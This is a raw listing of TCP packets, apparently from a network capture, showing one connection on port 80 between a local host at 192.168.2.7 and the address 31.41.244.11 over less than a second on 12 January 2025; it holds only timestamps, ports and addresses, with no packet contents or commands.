Jan 12, 2025 17:39:11.234181881 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234201908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234230995 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234235048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234270096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234303951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234308004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234308004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234338999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234371901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234380960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234380960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234380960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234405041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234438896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234445095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234445095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234472036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234502077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234534025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234544039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234544039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234544039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234568119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234601974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234631062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234631062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234636068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234668970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234697104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234697104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234703064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234738111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234783888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234783888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234783888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.261260986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261338949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261401892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261435986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261477947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.261477947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.261477947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.261502028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261554956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261560917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.261590958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261621952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.261636972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261687994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261708021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.261720896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261734962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.261755943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261790991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.261790991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.261801004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261857986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261862993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.261889935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261943102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.261950016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.261976957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.261995077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262126923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262172937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262172937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262172937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262176037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262217999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262229919 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262250900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262262106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262296915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262320995 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262330055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262366056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262378931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262378931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262398958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262403011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262433052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262465000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262480021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262480021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262500048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262550116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262550116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262602091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262655973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262661934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262689114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262723923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262736082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262736082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262757063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262789965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262820005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262835979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262835979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262836933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262854099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262876034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262887001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262900114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.262923956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262964964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.262996912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263003111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263003111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263003111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263030052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263061047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263107061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263109922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263109922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263109922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263142109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263175964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263189077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263189077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263210058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263248920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263283014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263298988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263298988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263298988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263333082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263336897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263372898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263406038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263436079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263436079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263439894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263473988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263509035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263519049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263519049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263519049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263541937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263576984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263586998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263586998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263611078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263645887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263676882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263676882 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263679028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263714075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263730049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263730049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263746977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263780117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.263788939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263788939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.263850927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318109989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318176985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318211079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318243027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318285942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318331003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318388939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318391085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318391085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318391085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318448067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318448067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318449974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318485022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318517923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318532944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318532944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318562984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318594933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318643093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318643093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318643093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318654060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318712950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318758965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318758965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318773985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318834066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318861008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318888903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318944931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.318990946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318990946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.318990946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319008112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319062948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319071054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319137096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319140911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319211006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319253922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319253922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319272041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319339037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319351912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319441080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319469929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319503069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319510937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319510937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319510937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319546938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319560051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319576025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319610119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319658041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319658041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319658041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319665909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319699049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319732904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319744110 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319744110 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319766045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319788933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319818974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319870949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319880962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319880962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.319904089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.319932938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320035934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320075989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320138931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320173025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320187092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320187092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320205927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320246935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320295095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320296049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320296049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320296049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320338011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320372105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320404053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320415974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320415974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320416927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320439100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320471048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320487976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320487976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320533037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320564985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320595026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320595026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320607901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320621967 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320641994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320687056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320719957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320734024 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320734978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320734978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320763111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320796013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320811033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320811033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320843935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320892096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320898056 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320898056 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.320925951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320957899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.320990086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.321006060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.321006060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.321006060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.321034908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.321038961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.321084976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.321152925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.347409010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.347461939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.347512007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.347573996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.347611904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.347611904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.347611904 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.347625017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.347666979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.347717047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.347745895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.347763062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.347763062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.347763062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.347778082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.347799063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.347826004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.347884893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.347929001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.347929001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.347929001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.347946882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.347979069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348038912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348083019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348083019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348083019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348100901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348170996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348201036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348232031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348242998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348242998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348242998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348270893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348335028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348376989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348376989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348376989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348395109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348423958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348484993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348520041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348532915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348532915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348532915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348546982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348586082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348618984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348632097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348632097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348632097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348649979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348702908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348716021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348716021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348736048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348756075 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.348768950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348803043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.348835945 CET	80	49975	31.41.244.11	192.168.2.7
